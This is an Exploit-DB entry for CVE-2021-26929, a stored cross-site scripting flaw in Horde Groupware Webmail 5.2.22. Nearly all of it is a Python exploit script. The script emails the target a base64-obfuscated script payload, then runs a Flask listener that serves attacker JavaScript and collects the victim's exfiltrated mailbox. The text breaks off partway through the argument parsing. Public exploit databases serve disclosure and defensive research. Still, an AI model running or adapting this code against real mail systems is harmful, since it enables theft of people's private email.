Exploit-DB #49769
Description: Horde Groupware Webmail 5.2.22 - Stored XSS
Type: webapps
Platform: multiple
Date: 2021-04-15
Author: nu11secur1ty

Exploit:
# Exploit Title: Horde Groupware Webmail 5.2.22 - Stored XSS
# Author: Alex Birnberg
# Testing and Debugging: Ventsislav Varbanovski @nu11secur1ty
# Date: 04.14.2021
# Vendor: https://www.horde.org/apps/webmail
# Link: https://github.com/horde/webmail/releases
# CVE: CVE-2021-26929

[+] Exploit Source:
https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-26929

[Exploit Program Code]

#!/usr/bin/python3
# Author idea: Alex Birnberg
# debug nu11secur1ty 2021
import io
import os
import ssl
import sys
import json
import base64
import string
import random
import logging
import smtplib
import sqlite3
import hashlib
import zipfile
import argparse
from flask import Flask, request, Response
from urllib.parse import urlparse

class Exploit:
    def __init__(self, args):
        # Database
        if not os.path.exists('database.db'):
            with sqlite3.connect("database.db") as conn:
                cursor = conn.cursor()
                cursor.execute('CREATE TABLE mailbox (hash TEXT NOT NULL UNIQUE, content BLOB NOT NULL);')
                conn.commit()
        # SMTP URL
        o = urlparse(args.smtp)
        self.smtp = {
            'ssl': o.scheme.lower() == 'smtps',
            'host': o.hostname or '127.0.0.1',
            'port': o.port or ('465' if o.scheme.lower() == 'smtps' else '25'),
            'username': '' or o.username,
            'password': '' or o.password
        }
        try:
            if self.smtp['ssl']:
                context = ssl.create_default_context()
                context.verify_mode = ssl.CERT_OPTIONAL 
                context.check_hostname = False
                self.server = smtplib.SMTP_SSL(self.smtp['host'], self.smtp['port'], context=context)
            else:
                self.server = smtplib.SMTP(self.smtp['host'], self.smtp['port'])
        except Exception as e:
            print(e)
            print('[-] Error connecting to SMTP server!')
            exit()
        try:
            self.server.login(self.smtp['username'], self.smtp['password'])
        except:
            pass
        # Callback URL
        o = urlparse(args.callback)
        self.callback = {
            'url': '{}://{}'.format(o.scheme, o.netloc),
            'path': ''.join(random.choice(string.ascii_letters) for i in range(20))
        }
        # Listener URL
        o = urlparse(args.listener)
        self.listener = {
            'ssl': o.scheme.lower() == 'https',
            'host': o.hostname or '0.0.0.0',
            'port': o.port or 80,
            'horde': ''.join(random.choice(string.ascii_letters) for i in range(20))
        }
        # Target email
        self.target = args.target
        # Subject
        self.subject = args.subject or 'Important Message'
        # Environment
        self.env = {}
        self.env['mailbox'] = args.mailbox or 'INBOX'
        self.env['callback'] = '{}/{}'.format(self.callback['url'], self.callback['path'])
    
    def trigger(self):
        print('[*] Waiting for emails...')
        self.bypass_auth()        
        print('\n[*] Done')

    def bypass_auth(self):
        def horde():
            f = open('horde.js')
            content = 'env = {};\n\n{}'.format(json.dumps(self.env), f.read())
            f.close()
            return content

        def callback():
            response = Response('')
            with sqlite3.connect("database.db") as conn:
                try:
                    if request.files.get('mbox'):
                        filename = request.files.get('mbox').filename.replace('zip', 'mbox')
                        content = request.files.get('mbox').stream.read()
                        zipdata = io.BytesIO()
                        zipdata.write(content)
                        content = zipfile.ZipFile(zipdata)
                        content = content.open(filename).read()
                        mail_hash =  hashlib.sha1(content).digest().hex()
                        print('[+] Received mailbox ({})'.format(mail_hash))                        
                        cursor = conn.cursor()                    
                        cursor.execute('INSERT INTO mailbox (hash, content) VALUES (?, ?)', (mail_hash, content))
                except:
                    pass
            response.headers['Access-Control-Allow-Origin'] = '*'
            return response

        payload = 'var s=document.createElement("script");s.type="text/javascript";s.src="{}/{}";document.head.append(s);'.format(self.callback['url'], self.listener['horde'])
        payload = '<script>eval(atob("{}"))</script>'.format(base64.b64encode(payload.encode('latin-1')).decode('latin-1'))
        content = 'Subject: {}\nFrom: {}\nTo: {}\n'.format(self.subject, self.smtp['username'], self.target)
        # The secret services :)
        content += 'X\x00\x00\x00{}\x00\x00\x00X'.format(base64.b64encode(payload.encode('latin-1')).decode('latin-1'))
        self.server.sendmail(self.smtp['username'], self.target, content)
        app = Flask(__name__)
        app.add_url_rule('/{}'.format(self.listener['horde']), 'horde', horde)
        app.add_url_rule('/{}'.format(self.callback['path']), 'callback', callback, methods=['POST'])
        logging.getLogger('werkzeug').setLevel(logging.ERROR)
        cli = sys.modules['flask.cli']
        cli.show_server_banner = lambda *x: None
        try:
            if self.listener['ssl']:
                app.run(host=self.listener['host'], port=self.listener['port'], ssl_context=('cert.pem', 'key.pem'))
            else:
                app.run(host=self.listener['host'], port=self.listener['port'])
        except:
            pass

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('--smtp', help='SMTP URL', required=True, metavar='URL')
    parser.add_argument('--callback', help='Callback U